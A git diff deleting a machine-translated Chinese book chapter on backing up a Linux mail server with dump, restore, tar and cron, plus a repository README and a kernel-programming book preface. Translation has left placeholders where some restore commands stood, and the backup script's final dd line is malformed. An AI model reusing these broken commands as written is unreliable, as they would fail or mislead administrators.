`tue.dump.1`将包含周一和周二所做的所有更改,因为 1 级转储将备份自 0 级转储以来发生的所有更改。 为了将系统恢复到最新的备份,我们必须只恢复周二的备份。 因此,人们可能会认为周一的倾倒现在已经过时了; 然而,如果用户希望恢复在周一创建的文件,并在周二意外删除,我们仍然需要第一次备份。 - -重复执行 1 级转储可以非常快速地恢复,因为只需要恢复两个转储文件,即 0 级转储和最新的 1 级转储。 其缺点是,每个后续转储文件的大小都会增加,并且需要越来越长的时间来完成。 这种方案有时被称为差异备份。 - -另一种方法是使用额外的转储级别来减少每个备份文件的大小。 - -例如,以下命令序列在初始的 0 级转储之后执行了大量的增量备份: - -```sh -# dump -1 -u -f mon.dump.1 /dev/sdb1 -# dump -2 -u -f tue.dump.2 /dev/sdb1 -# dump -3 -u -f wed.dump.3 /dev/sdb1 -# dump -4 -u -f thu.dump.4 /dev/sdb1 - -``` - -在本例中,每天的转储文件只包含自上一次转储以来的新文件和更改的文件。 从周二开始的每个转储操作都将更快地完成,并产生比前面示例中更小的文件大小。 然而,复苏将需要更长的时间。 为了恢复到最新的备份,我们需要恢复全部转储,然后按顺序恢复从周一到周四的每个增量转储。 - -为了理解不同级别转储之间的交互,在小型临时文件系统上尝试这些示例可能是一个有用的练习。 可以使用以下命令检查每个转储文件: - -```sh -# restore -t -f filename - -``` - -出于好奇,还可以在每次转储之后检查文件 `/var/lib/dumpdates`,以验证每个转储的日期和级别。 - -正如本章开头所述,一切都是一种权衡,因此选择合适的备份策略需要平衡媒体成本、人员成本和恢复时间。 - -到目前为止,我们的所有备份都是在挂载磁盘的情况下执行的,这使得无法验证备份。 原因是我们刚刚备份的数据一直在变化。 记住,每个文件代表一个电子邮件。 每当用户获得新邮件或删除旧邮件时,文件系统的状态就会改变。 用户不断地获取邮件、读取邮件和删除邮件,即使在他们准备执行备份时也是如此。 - -`restore`命令确实有 `-C`选项,可以将转储文件与原始磁盘内容进行比较,但是只有当我们正在转储的文件系统被卸载时,这个选项才有效。 在大多数情况下,卸载每个文件系统是不实际的,并且会严重中断服务。 - -## 使用还原 - -所有备份过的数据在使用之前都需要进行恢复。 - -这可以通过两种方式实现,交互或非交互。 - -### 交互式恢复 - -为了交互式地从转储中恢复数据,我们需要将转储从备份介质复制到系统中,或者在存储转储的计算机上执行文件恢复操作。 如果我们只提取了几个文件,那么可以在一个临时目录中执行这一操作,并且在恢复完成后,可以将生成的文件移动到正确的位置。 对于较大数量的文件,例如整个用户帐户,我们可以在开始恢复之前 `cd`到最终目的地。 - -对于交互式恢复,运行以下命令: - -```sh -# restore -i -f /backupdirectory/subdir/dumpfile -> - -``` - -其中`>`为交互界面恢复提示。 它是一个简陋的界面,只有有限的命令可用。 它允许在转储中导航,就像我们在一个活动的文件系统上一样。 使用 `ls`和 `cd`显示目录内容或更改目录。 发布 `?`以获得支持的命令列表。 - -一旦我们找到了想要恢复的数据,输入以下命令之一: - -* 【t】【t】 -* 【t】【t】 - -这将把特定的 `directoryname`和它下面的所有数据,或者只是 `filename`添加到需要恢复的文件集中。 重复其他文件或目录。 - -一旦添加了所有需要恢复的数据,就发出 `extract`命令。 - -![Interactive restore](img/8648_10_02.jpg) - -上一个屏幕截图中显示的输出与磁带上的卷号有关。 一个转储文件可能已经被分割到一个多卷磁带集上,但在处理硬盘上的转储文件时,请选择卷 `1`。 我们通常会选择 `n`来保留工作目录的当前所有权和权限。 - -一旦必要的文件被提取出来,发出以下命令: - -```sh -> quit - -``` - -按照顺序处理最后一个完整转储和每个增量转储,直到最后一个可用的增量转储。 这确保我们恢复了自上次完全备份以来的所有更改。 - -### 注意事项 - -如果我们正在恢复的数据在两个转储之间没有更改,那么在第二个增量转储中就根本找不到它。 - -### 跨网络的非交互式恢复 - -如果我们只想恢复几个邮箱,那么手动方法是有意义的。 如果我们想要完全恢复所有邮箱,我们需要使用非交互方案。 这不需要目标系统上的额外存储空间,因为转储数据是通过网络传输的。 - -在新安装的、新分区的硬盘上重新创建文件系统并挂载它: - -```sh -# mke2fs -j /dev/sdb1 -# mount /dev/sdb1 /home - -``` - -`mke2fs`的 `-j`选项在 `/dev/sdb1`上创建一个 ext3 日志文件系统,并将其挂载为 `/home`。 - -请注意,我们需要使用与创建备份时相同的文件系统重新创建数据! - -让恢复开始吧。 - -```sh -# cd /home -# ssh user@backup-host.domain.com \ -dd if=/backupdirectory/20090601030034.home.dump.0.gz | \ -gunzip -c | restore -r -f - - -``` - -就像我们在网络上执行备份一样,我们现在对恢复执行同样的操作。 - -```sh -ssh user@backup-host.domain.com - -``` - -上一行在 `backup-host.domain.com`主机上以 `user`的形式执行以下命令,不过这次使用 `dd`命令,使用 `if`选项读取压缩转储文件并将输出发送给 `stdout`。 - -```sh -dd if=/backupdirectory/20090601030034.home.dump.0.gz - -``` - -输出通过管道通过网络传输到 `gunzip`以解压缩文件,最终通过管道传输到 `restore -r -f -`。 `-r`选项指示 restore 使用原始权限和所有权从转储文件的内容重新构建整个文件系统到原始位置。 如果愿意,可以将 `-v`选项与 `restore`一起使用以获得详细输出。 - -### 注意事项 - -在发出 `restore`命令之前,必须确保我们位于正确的目录中,否则可能会对现有的文件系统造成严重损害。 - -恢复的输出看起来像这样: - -```sh -# ssh backup@nas1 dd if=backups/20090727153909.home.dump.0.gz \ | gunzip -c | restore -r -f - -restore: ./lost+found: File exists -1629153+1 records in -1629153+1 records out -834126574 bytes (834 MB) copied, 71.4752 s, 11.7 MB/s -# - -``` - -关于 `lost+found`存在的警告是正常的,可以安全地忽略。 - -然后,应该对每个需要将系统返回到所需状态的增量转储文件重复此操作。 如果我们以错误的顺序恢复增量转储,我们将得到错误的“增量磁带太低”或“增量磁带太高”。 一旦我们收到这些错误之一,我们就无法完成完全恢复,必须从级别 0 转储重新启动恢复。 - -当对恢复命令使用 `-r`选项时,它将创建文件 `restoresymtable`。 这是恢复命令在还原多个转储时使用的检查点文件,以帮助下一个 `restore`命令确定需要更新、创建或删除哪些目录或文件。 - -在完全恢复并验证了文件系统之后,我们应该删除 `restoresymtable`文件。 如果该文件包含在下一个转储中,那么旧的 `restoresymtable`文件最终可能会覆盖当时正在创建的文件,从而阻止恢复其他转储。 - -最后一步,对新恢复的文件系统执行级别 0 `dump`。 - -# 备份配置和日志 - -备份配置数据和重要日志文件有两种方法。 - -* **将数据存储在我们的备份介质上:**使用这种方法,我们将直接备份到我们的备份服务器。 -* **将数据添加到我们的备份计划中:**这种方法将包括必要的文件作为我们的用户数据备份的一部分。 - -这两种情况都是同样有效的,实际上是一个个人偏好的问题。 - -提醒一下,之前我们列出了系统中需要备份的重要部分。 这些是: - - -| - -这是系统的重要组成部分 - - | - -示例命令 - - | -| --- | --- | -| 系统库存 | `disk_layout.txt` | -| 已安装软件清单 | `installed_software.txt` | -| 系统配置文件 | `/etc` | -| 身份验证数据 | `/etc/password /etc/groups /etc/shadow` | -| 日志文件 | `/var/log` | -| 邮件队列 | `/var/spool/postfix` | - -由于每个系统都是不同的,所以您应该确保下面给出的示例命令涵盖所有必要的文件。 - -## 传输配置和日志到备份介质 - -为了简单起见,我们只使用 `tar`工具创建前面列出的文件和目录的存档,并将其存储在与备份服务器上的完整或增量转储相同的目录中: - -```sh -# tar cz disk_layout.txt installed_software.txt \ -/etc /var/log /var/spool/postfix | \ -ssh user@backup-host.domain.com \ -dd of=/backupdirectory/$(date +%Y%m%d%H%M%S).config.tar.gz - -``` - -或者,我们可以在 `/home`文件系统上创建 `tar`归档,并将其作为正常备份计划的一部分进行备份。 - -```sh -# mkdir -p /home/config -# chmod 600 /home/config -# tar czf /home/config/$(date +%Y%m%d%H%M%S).config.tar.gz \ -disk_layout.txt installed_software.txt \ -/etc /var/log /var/spool/postfix - -``` - -在这两种情况下,我们使用带有选项 `c`的 `tar`命令创建存档, `z`压缩,以及 `f`作为输出存档名。 还要注意,我们限制了对 `/home/config`目录的访问,因为它包含包含敏感信息的归档文件,这些敏感信息应该受到保护。 - -有关 `tar`的更多信息,请参阅系统手册页。 - -## 恢复配置 - -根据前面使用的方法,恢复配置和日志文件是相对简单的。 我们可以从备份服务器复制所需的归档,也可以直接从 `/home/config`使用归档。 在这两种情况下,解压归档文件都使用以下命令: - -```sh -# mkdir tmpdir -# cd tmpdir -# tar xzf xxxxx.config.tar.gz - -``` - -注意,在展开存档之前,我们已经创建并移动到一个临时目录中。 如果在执行 `tar`命令时,当前目录为 `/`,则会覆盖 `/etc, /var/log`和 `/var/spool/postfix`中的所有文件,从而产生可能不理想的结果。 - -现在我们已经对归档文件进行了解压,可以比较和复制需要恢复的文件了。 - -# 自动备份 - -现在我们已经了解了如何备份系统,我们需要设置一个自动化过程,以消除定期手动调用 `dump`的麻烦。 - -关于转储的手册页提供了一些关于备份频率和在何种级别上减少恢复时间的指导。 - -> *在发生灾难性磁盘事件时,可以通过错开增量转储,将所有必要的备份磁带或文件恢复到磁盘所需的时间保持到最小。 一个有效的惊人增量转储方法,以最小化磁带数量:* - -> *总是从 0 级备份开始。 这应该在设定的间隔内完成,比如一个月一次或每两个月一次,并且在一组永远保存的新磁带上*。 - -> *在级别 0 之后,使用改进的河内塔算法,每天收集活动文件系统的转储,转储级别的顺序为:3 2 5 4 7 6 9 8 9… 对于每日转储,应该可以每天使用固定数量的磁带,每周使用一次。 每周进行一次 1 级转储,每天的河内序列从 3 开始重复。 对于每周转储,每个转储文件系统使用另一组固定的磁带,也是周期性的*。 - -> *在几个月左右之后,每天和每周的磁带应该从转储周期中旋转出来,并引入新的磁带*。 - -这一系列的转储看起来相当奇怪,需要更多的解释。 通过这个过程,我们将演示如何最小化转储的大小,并减少恢复所需的数量。 - -一旦获取了 3 级转储,恢复就只需要恢复转储 0 和 3。 在第二天之后,2 级转储将在更低的级别(即 0 级)上备份自上次转储以来所更改的所有内容。 这使得 3 级转储无效。 5 级转储然后备份自 2 级转储以来的更改。 随着顺序的进展,使用更高或更低的级别跳过几天,以前的转储将变得无效,并且不再需要完成完全恢复。 应该仍然保留每个转储文件,以防以后需要恢复意外删除的单个文件。 - -到周末时,将执行 1 级转储,呈现所有前几周的转储级别,并重新启动序列,直到月末获取新的 0 级转储。 - -下表说明了每天使用的转储级别以及将数据恢复到最新版本所需的恢复数量: - - -| - -天月 - - | - -转储水平 - - | - -恢复要求的水平 - - | -| --- | --- | --- | -| 1 | 0 | 0 | -| 2, 9, 16, 23, 30 | 3 | 0, 1 and 3 | -| 3, 10, 17, 24, 31 | 2 | 0, 1 and 2 | -| 4, 11, 18, 25 | 5 | 0, 1, 2, 5 | -| 5, 12, 19, 26 | 4 | 0, 1, 2, and 4 | -| 6, 13, 20, 27 | 7 | 0, 1 times 2, 4, 7 | -| 7, 14, 21, 28 | 6 | 0, 1 times 2, 4, 6 | -| 8, 15, 22, 29 | 1 | 0, 1 | - -### 注意事项 - -在第一周,恢复过程中不需要 1 级转储(用*标记)。 从第 8 天开始,一直需要 1 级转储。 - -从表中可以看到,即使在一个月的末尾,恢复数据也只需要几个转储,而不是在创建增量每日转储时需要几十个。 - -对于我们的每月备份计划,一个简单的脚本和向 `cron`添加一些条目将完成自动备份过程。 - -## 备份脚本 - -下面的 bash 脚本示例将归档我们的系统配置和日志文件,并将请求的文件系统转储到远程备份服务器。 这只是一个示例脚本,应该根据您的需要进行修改。 为了清晰起见,这里省略了任何错误检查和日志记录。 - -```sh -#!/bin/sh -# The name of the dump, e.g. home or users -NAME=$1 -# The partition to dump, e.g. /dev/sdb1 -DEVICE=$2 -# The dump level, e.g. 0 or 3 etc. -LEVEL=$3 -# ssh login name and host -# -USERNAME=user -BACKUPHOST=backuphost -# Take a system inventory. -# -/sbin/fdisk -l > /tmp/disk_layout.txt -/bin/df -h >> /tmp/disk_layout.txt -/bin/mount >> /tmp/disk_layout.txt -# Installed software (Debian) -# -/usr/bin/dpkg --get-selections > /tmp/installed_software.txt -# Archive our system configuration and logs -# -/bin/tar cz /tmp/disk_layout.txt /tmp/installed_software.txt \ -/etc /var/log /var/spool/postfix | \ -/usr/bin/ssh $USERNAME@$BACKUPHOST \ -/bin/dd of=$(date +%Y%m%d%H%M%S).config.tar.gz -# Perform the dump to the remote backup server. -# -/usr/sbin/dump -u -$LEVEL -f - $DEVICE | \ -/bin/gzip -c | ssh $USERNAME@$BACKUPHOST \ -/bin/dd $(date +%Y%m%d%H%M%S).$NAME.dump.$LEVEL.gz" -# Remove temporary files. -# -rm -f /tmp/disk_layout.txt /tmp/installed_software.txt -exit 0 - -``` - -该脚本需要 3 个参数:转储名称、要转储的分区和转储级别。 - -典型用法如下: - -```sh -# remote-dump.sh home /home 0 - -``` - -前面的脚本在每次运行时都会归档 `/etc`。 您可能希望将这些命令移动到单独的脚本中,以便每周甚至每月执行此任务。 如果脚本也将用于转储其他文件系统,那么这一点尤为重要。 - -以前几个月的旧转储文件没有被脚本删除,可能会填满我们的备份服务器,防止未来的备份。 谨慎的做法是,根据组织的数据保留策略,设置删除或存档旧转储文件的过程。 - -## 添加 crontab 条目 - -每天晚上自动运行我们的备份脚本,只需要使用我们的备份计划表中的条目并执行脚本转储正确的分区。 下面的例子 `crontab`条目每天晚上 02:10 执行我们的脚本来转储 `/home`。 每个月的第一天执行一次 0 级转储,然后每隔 7 天执行一次每周一次的 1 级转储。 其他条目实现了修改后的“河内塔”算法。 - -```sh -10 02 1 * * /bin/remote-dump.sh home /home 0 -10 02 2,9,16,23,30 * * /bin/remote-dump.sh home /home 3 -10 02 3,10,17,24,31 * * /bin/remote-dump.sh home /home 2 -10 02 4,11,18,25 * * /bin/remote-dump.sh home /home 5 -10 02 5,12,19,26 * * /bin/remote-dump.sh home /home 4 -10 02 6,13,20,27 * * /bin/remote-dump.sh home /home 7 -10 02 7,14,21,28 * * /bin/remote-dump.sh home /home 6 -10 02 8,15,22,29 * * /bin/remote-dump.sh home /home 1 - -``` - -自动化备份过程就位后,我们需要注意任何错误,并验证远程服务器上转储文件的完整性。 - -# 正在验证恢复程序 - -即使有世界上最好的计划,事情总是在最不方便的时候出错。 - -通过良好的规划和实践,采取积极的方法进行灾难恢复,可以在为时已晚之前尽早突出任何问题。 只有通过恢复系统备份并检查恢复的系统是否完全可操作,才能真正验证系统备份的完整性。 - -您应该问自己这样的问题:“如果远程服务器失败,需要采取什么行动?” 您是先修复备份服务器还是在没有备份的情况下切换到另一个服务器来减小窗口的大小? 如果邮件服务器发生故障,您熟悉恢复过程吗? 是否可以在短时间内更换硬件,比如在周日? - -有许多可怕的故事,管理员努力地进行备份,却发现在需要时备份是无用的,因为磁带驱动器错误或备份脚本中的一个小语法错误,用错误数据覆盖了有效的转储文件。 - -自己设计一些场景,在备用硬件上练习完全裸机恢复,或者恢复单个用户的电子邮件。 - -验证恢复过程的工作将给您信心,您可以从数据丢失中恢复。 - -# 总结 - -在本章中,我们描述了如何备份电子邮件和邮件服务器配置。 我们首先介绍了您认为值得备份的内容,最后介绍了一个使用自动完全备份和增量备份的复杂解决方案。 - -特别地,我们描述了使用 `dump`命令的过程,以及如何获取数据的副本。 我们使用 `restore`命令恢复一个完整的文件系统和所选的文件。 - -本章指导您通过备份和恢复您的服务器的宝贵数据的过程。 它展示了为什么要备份,要备份什么数据,不同的备份和恢复方法,以及采取自动每日备份的过程。 - -在实现了我们在本章中向你展示的所有过程之后,你会睡得更好,而且无论如何,你的用户会喜欢你的系统所提供的范围和功能。** \ No newline at end of file diff --git a/docs/linux-email/README.md b/docs/linux-email/README.md deleted file mode 100644 index 0987d300..00000000 --- a/docs/linux-email/README.md +++ /dev/null @@ -1,67 +0,0 @@ -# Linux 电子邮件 - -> 原文:[Linux e-mail](https://libgen.rs/book/index.php?md5=7BD6129F97DE898479F1548456826B76) -> -> 协议:[CC BY-NC-SA 4.0](http://creativecommons.org/licenses/by-nc-sa/4.0/) -> -> 阶段:机翻(1) -> -> 自豪地采用[谷歌翻译](https://translate.google.cn/) -> -> 这世界上有一种鸟是没有脚的,它只能够一直的飞呀飞呀,飞累了就在风里面睡觉,这种鸟一辈子只能下地一次,那一次就是它死亡的时候。——《阿飞正传》 - -* [在线阅读](https://linux.apachecn.org) -* [在线阅读(Gitee)](https://apachecn.gitee.io/apachecn-linux-zh/) -* [ApacheCN 学习资源](http://docs.apachecn.org/) - -## 目录 - -+ [笨办法学 Linux 中文版](docs/llthw-zh/SUMMARY.md) - -## 贡献指南 - -本项目需要校对,欢迎大家提交 Pull Request。 - -> 请您勇敢地去翻译和改进翻译。虽然我们追求卓越,但我们并不要求您做到十全十美,因此请不要担心因为翻译上犯错——在大部分情况下,我们的服务器已经记录所有的翻译,因此您不必担心会因为您的失误遭到无法挽回的破坏。(改编自维基百科) - -## 联系方式 - -### 负责人 - -* [飞龙](https://github.com/wizardforcel): 562826179 - -### 其他 - -* 在我们的 [apachecn/apachecn-linux-zh](https://github.com/apachecn/apachecn-linux-zh) github 上提 issue. -* 发邮件到 Email: `apachecn@163.com`. -* 在我们的 [组织学习交流群](http://www.apachecn.org/organization/348.html) 中联系群主/管理员即可. - -## 下载 - -### Docker - -``` -docker pull apachecn0/apachecn-linux-zh -docker run -tid -p :80 apachecn0/apachecn-linux-zh -# 访问 http://localhost:{port} 查看文档 -``` - -### PYPI - -``` -pip install apachecn-linux-zh -apachecn-linux-zh -# 访问 http://localhost:{port} 查看文档 -``` - -### NPM - -``` -npm install -g apachecn-linux-zh -apachecn-linux-zh -# 访问 http://localhost:{port} 查看文档 -``` - -## 赞助我们 - -![](http://data.apachecn.org/img/about/donate.jpg) diff --git a/docs/linux-email/SUMMARY.md b/docs/linux-email/SUMMARY.md deleted file mode 100644 index ea148cd5..00000000 --- a/docs/linux-email/SUMMARY.md +++ /dev/null @@ -1,12 +0,0 @@ -+ [Linux 电子邮件](README.md) -+ [零、前言](00.md) -+ [一、Linux 和电子邮件基础](01.md) -+ [二、设置 Postfix](02.md) -+ [三、使用 POP 和 IMAP 接收邮件](03.md) -+ [四、提供邮箱访问](04.md) -+ [五、防护您的安装](05.md) -+ [六、从 Procmail 开始](06.md) -+ [七、高级 Procmail](07.md) -+ [八、使用 SpamAssassin 摧毁垃圾邮件](08.md) -+ [九、防病毒保护](09.md) -+ [十、备份系统](10.md) diff --git a/docs/linux-kernel-prog-pt2/0.md b/docs/linux-kernel-prog-pt2/0.md deleted file mode 100644 index ded27f9a..00000000 --- a/docs/linux-kernel-prog-pt2/0.md +++ /dev/null @@ -1,150 +0,0 @@ -# 零、前言 - -本书旨在帮助您以实用、动手的方式学习 Linux 字符设备驱动程序开发的基础知识,以及必要的理论背景,让您全面了解这个广阔而有趣的主题领域。公平地说,这本书的范围被刻意限制在(大部分)学习如何在 Linux 操作系统上编写`misc`类字符设备驱动程序。通过这种方式,您将能够深入吸收基本和必要的驱动程序作者技能,然后能够相对轻松地处理不同类型的 Linux 驱动程序项目。 - -重点是通过强大的**可加载内核模块** ( **LKM** )框架进行实际的驱动程序开发;大多数内核驱动程序开发都是以这种方式完成的。重点放在实际操作驱动程序代码上,在需要的地方充分深入地理解内部,并牢记安全性。 - -一个我们再怎么强烈也提不出来的建议:要真正学好、理解好细节,**真的最好你先看懂这本书的姊妹篇,** ***Linux 内核编程**。*它涵盖了各种关键领域——从源代码构建内核、通过 LKM 框架编写内核模块、内核内部,包括内核架构、内存系统、内存分配/分配应用编程接口、中央处理器调度等等。这两本书的结合会给你一个确定而深刻的优势。 - -这本书没有浪费时间——第一章让你学习了 Linux 驱动框架的细节,以及如何编写一个简单而完整的杂项类字符设备驱动程序。接下来,您将学习如何做一些非常必要的事情:使用各种技术高效地将您的驱动程序与用户空间进程接口(其中一些技术也有助于调试/诊断!).然后介绍对硬件(外围芯片)输入/输出存储器的理解和使用。处理硬件中断的详细内容如下。这包括学习和使用几种现代驱动技术——使用线程化的 IRQs、利用资源管理的驱动程序接口、I/O 资源分配等等。它涵盖了什么是上/下半部分,使用小任务和软 IRQ,以及测量中断延迟。接下来将介绍您通常使用的内核机制——使用内核定时器、设置延迟、创建和管理内核线程和工作队列。 - -本书剩下的两章深入探讨了一个相对复杂但对现代专业级驱动程序或内核开发人员来说很难理解的主题:理解和使用内核同步。 - -本书使用的是最新的,在编写的时候,5.4 **长期支持** ( **LTS** ) Linux 内核。这是一个将从 2019 年 11 月一直维护到 2025 年 12 月的内核(包括 bug 和安全修复)!这是一个关键点,确保这本书的内容在未来几年保持最新和有效! - -我们非常相信实践经验方法:这本书的 GitHub 存储库中有超过 20 个内核模块(除了一些用户应用和 shell 脚本)让学习变得生动起来,使它变得有趣、有趣和有用。 - -我们真的希望你能从这本书中学到东西并喜欢它。快乐阅读! - -# 这本书是给谁的 - -这本书主要是为开始寻找设备驱动程序开发方法的 Linux 程序员准备的。寻求克服频繁和常见的内核/驱动程序开发问题的 Linux 设备驱动程序开发人员,以及理解和学习执行常见的驱动程序任务——现代 **Linux 设备模型** ( **LDM** )框架、用户内核接口、执行外围 I/O、处理硬件中断、处理并发性等等——将从本书中受益。需要对 Linux 内核内部(和通用 API)、内核模块开发和 C 编程有基本的了解。 - -# 这本书涵盖了什么 - -[第 1 章](0.html)*编写一个简单的杂项字符设备驱动程序*,首先介绍最基本的东西——驱动程序应该做什么,设备命名空间,sysfs,以及 LDM 的基本原则。然后我们深入研究编写简单字符设备驱动程序的细节;在此过程中,您将了解框架——实际上,是“如果不是流程,就是文件”理念/架构的内部实现!您将学习如何用各种方法实现杂项类字符设备驱动程序;几个代码示例有助于强化概念。涵盖了用户内核空间和用户内核空间之间的基本数据复制。还涵盖了关键的安全问题以及如何解决这些问题(在这种情况下);一个引起特权升级问题的“坏”司机实际上被证明了! - -[第二章](0.html)、*用户-内核通信路径*,讲述了作为内核模块/驱动作者,如何在内核和用户空间之间进行通信,这对你来说至关重要。在这里,您将了解各种通信接口或路径。这是编写内核/驱动程序代码的一个重要方面。采用了几种技术:通过传统 procfs 的通信,驱动程序通过 sysfs 的更好的方式,以及其他几种技术,通过 debugfs、netlink sockets 和 ioctl(2)系统调用。 - -[第 3 章](0.html)*使用硬件输入/输出存储器*涵盖了驱动程序编写的一个关键方面——从外围设备或芯片访问硬件存储器(映射存储器输入/输出)的问题(以及解决方案)。我们介绍了使用常见的**内存映射 I/O** ( **MMIO** )技术以及(通常在 x86 上)**端口 I/O** ( **PIO** )技术进行硬件 I/O 内存访问和操作。还显示了现有内核驱动程序的几个示例。 - -[第 4 章](0.html)、*处理硬件中断*,详细展示了如何处理和处理硬件中断。我们首先简要介绍内核如何处理硬件中断,然后继续讨论如何“分配”一个 IRQ 行(涵盖现代资源管理的 API),以及如何正确实现中断处理程序例程。然后介绍使用线程处理程序的现代方法(及其原因)、**不可屏蔽中断** ( **NMI** )等等。在代码中使用“上半部分”和“下半部分”中断机制(hardirq、tasklet 和 softirqs)的原因,以及关于硬件中断处理的注意事项和不注意事项的关键信息。用现代[e]BPF 工具集和 Ftrace 测量中断延迟,这一关键章节到此结束。 - -[第 5 章](0.html)、*使用内核定时器、线程和工作队列*,介绍了如何使用一些有用的(通常被驱动程序使用的)内核机制——延迟、定时器、内核线程和工作队列。它们在许多现实世界中派上了用场。如何执行阻塞和非阻塞延迟(视情况而定),设置和使用内核定时器,创建和使用内核线程,以及理解和使用内核工作队列,这些都在这里讨论。几个示例模块,包括三个版本的**简单加密解密** ( **sed** )示例驱动程序,用于说明在代码中学习的概念。 - -[第 6 章](0.html)、*内核同步–第 1 部分*,首先涵盖了关于关键部分、原子性、锁在概念上实现了什么的关键概念,以及非常重要的是,所有这些的原因。然后,当在 Linux 内核中工作时,我们将讨论并发问题;这让我们自然而然地转向重要的锁定准则、死锁的含义以及防止死锁的关键方法。然后深入讨论两种最流行的内核锁定技术——互斥锁和自旋锁,以及几个(驱动程序)代码示例。 - -[第 7 章](0.html)*内核同步–第 2 部分*,继续内核同步之旅。在这里,您将了解键锁定优化——使用轻量级原子操作符和(较新的)refcount 操作符来安全地操作整数,使用 RMW 位操作符来安全地执行位操作,以及在常规操作符上使用读写自旋锁。还讨论了固有风险,如缓存“错误共享”。然后介绍了无锁编程技术的概述(重点是每 CPU 变量及其用法,以及示例)。接下来将讨论一个关键的主题,锁调试技术,包括内核强大的 lockdep 锁验证器的使用。本章最后简要介绍了内存障碍(以及现有内核网络驱动程序对内存障碍的使用)。 - -我们再次强调,这本书是为刚开始编写设备驱动程序的内核程序员准备的;几个 Linux 驱动主题超出了本书的范围,不在*讨论范围内。这包括其他类型的设备驱动程序(除了字符),使用设备树,等等。Packt 提供了其他有价值的指南,帮助您在这些主题领域获得吸引力。这本书将是一个极好的开端。* - -# 充分利用这本书 - -为了充分利用这本书,我们希望您具备以下方面的知识和经验: - -* 在命令行(Shell)上熟悉 Linux 系统。 -* C 编程语言。 -* 知道如何通过**可加载内核模块** ( **LKM** )框架编写简单的内核模块 -* 理解(至少是基本的)关键的 Linux 内核内部概念:内核架构、内存管理(加上通用的动态内存 alloc/de-alloc API)和 CPU 调度。 -* 这不是强制性的,但是对 Linux 内核编程概念和技术的经验会有很大帮助。 - -理想情况下,我们强烈建议首先阅读本书的配套书籍 *Linux 内核编程*。 - -此处显示了本书的硬件和软件要求及其安装的详细信息: - -| **章节号** | **所需软件(带版本)** | **免费/****专有** | **下载软件链接** | **硬件规格** | **需要操作系统** | -| 所有章节 | 最近的 Linux 发行版;我们使用的是 Ubuntu 18.04 LTS(以及 Fedora 31/Ubuntu 20.04 LTS);这些都是合适的。建议您使用 Oracle VirtualBox 6.x(或更高版本)作为虚拟机管理程序,将 Linux 操作系统安装为**虚拟机**(虚拟机) | 免费(开源) | Ubuntu(台式机):[https://Ubuntu . com/download/desktop](https://ubuntu.com/download/desktop)甲骨文虚拟盒子:[https://www.virtualbox.org/wiki/Downloads](https://www.virtualbox.org/wiki/Downloads) | *所需:*配备 4 GB RAM(最低;越多越好),25 GB 的可用磁盘空间,以及良好的互联网连接。*可选:*我们还使用树莓皮 3B+作为试验台。 | 作为独立操作系统的 Linux | - -详细的安装步骤(软件方面): - -1. 将 Linux 作为虚拟机安装在 Windows 主机系统上;遵循以下教程之一: - * *用 VirtualBox,Abhishek Prakash 在 Windows 内部安装 Linux(是 FOSS!,2019 年 8 月)*:[https://itsfoss.com/install-linux-in-virtualbox/](https://itsfoss.com/install-linux-in-virtualbox/) - * 或者,这里有另一个教程来帮助你做同样的事情:*在 Oracle VirtualBox 上安装 Ubuntu*:[https://brb.nci.nih.gov/seqtools/installUbuntu.html](https://brb.nci.nih.gov/seqtools/installUbuntu.html)T4】 -2. 在 Linux 虚拟机上安装所需的软件包: - 1. 登录到您的 Linux 来宾虚拟机,并首先在终端窗口(在 Shell 上)中运行以下命令: - -```sh -sudo apt update -sudo apt install gcc make perl -``` - -3. 有用资源: - * Linux 内核官方在线文档:[https://www.kernel.org/doc/html/latest/](https://www.kernel.org/doc/html/latest/)。 - * Linux 驱动验证(LDV)项目,特别是*在线 Linux 驱动验证服务*页面:[http://linuxtesting.org/ldv/online?action=rules](http://linuxtesting.org/ldv/online?action=rules)。 - * SEALS -简单嵌入式 ARM Linux 系统:[https://github.com/kaiwan/seals/](https://github.com/kaiwan/seals/)。 - * 这本书的每一章都有一个非常有用的*进一步阅读*部分,详细介绍更多的资源。 -4. 详细的说明,以及其他有用的项目,为 ARM 安装跨工具链,等等,在本书配套指南的*第 1 章,内核工作区设置*中有描述, *Linux 内核编程,万凯 N 比利摩里亚,帕克特出版社。* - -我们已经在这些平台上测试了本书中的所有代码(它也有自己的 GitHub 存储库): - -* x86_64 Ubuntu 18.04 LTS 来宾操作系统(运行在甲骨文虚拟桌面 6.1 上) -* x86_64 Ubuntu 20.04.1 LTS 来宾操作系统(运行在甲骨文虚拟桌面 6.1 上) -* x86_64 Ubuntu 20.04.1 LTS 本地操作系统 -* ARM 树莓 Pi 3B+(运行其发行版内核以及我们定制的 5.4 内核);轻度测试。 - -**如果您正在使用本书的数字版本,我们建议您自己键入代码,或者更好的是,通过 GitHub 存储库(下一节中提供的链接)访问代码。这样做将帮助您避免任何与复制和粘贴代码相关的潜在错误。** - -对于这本书,我们将以名为`llkd`的用户身份登录。我强烈建议你遵循*的经验方法:不要相信任何人的话,而是自己去尝试和体验。*因此,这本书为你提供了许多你可以而且必须亲自尝试的实践实验和内核驱动代码示例;这将极大地帮助您取得真正的进步,并深入学习和理解 Linux 驱动程序/内核开发的各个方面。 - -## 下载示例代码文件 - -你可以在[https://GitHub . com/packt publishing/Linux-Kernel-Programming-Part-2](https://github.com/PacktPublishing/Linux-Kernel-Programming-Part-2)下载本书的示例代码文件。如果代码有更新,它将在现有的 GitHub 存储库中更新。 - -我们丰富的图书和视频目录中还有其他代码包,可在**[【https://github.com/PacktPublishing/】](https://github.com/PacktPublishing/)**获得。看看他们! - -## 下载彩色图像 - -我们还提供了一个 PDF 文件,其中包含本书中使用的截图/图表的彩色图像。可以在这里下载:[http://www . packtpub . com/sites/default/files/downloads/9781801079518 _ color images . pdf](http://www.packtpub.com/sites/default/files/downloads/9781801079518_ColorImages.pdf)。 - -## 使用的约定 - -本书通篇使用了许多文本约定。 - -`CodeInText`:表示文本中的码字、数据库表名、文件夹名、文件名、文件扩展名、路径名、虚拟网址、用户输入和推特句柄。这里有一个例子:“应用编程接口返回一个 T2 类型的 KVA(因为它是一个地址位置)。” - -代码块设置如下: - -```sh -static int __init miscdrv_init(void) -{ - int ret; - struct device *dev; -``` - -当我们希望将您的注意力吸引到代码块的特定部分时,相关的行或项目以粗体显示: - -```sh -#define pr_fmt(fmt) "%s:%s(): " fmt, KBUILD_MODNAME, __func__ -[...] -#include -#include -[...] -``` - -任何命令行输入或输出都编写如下: - -```sh -pi@raspberrypi:~ $ sudo cat /proc/iomem -``` - 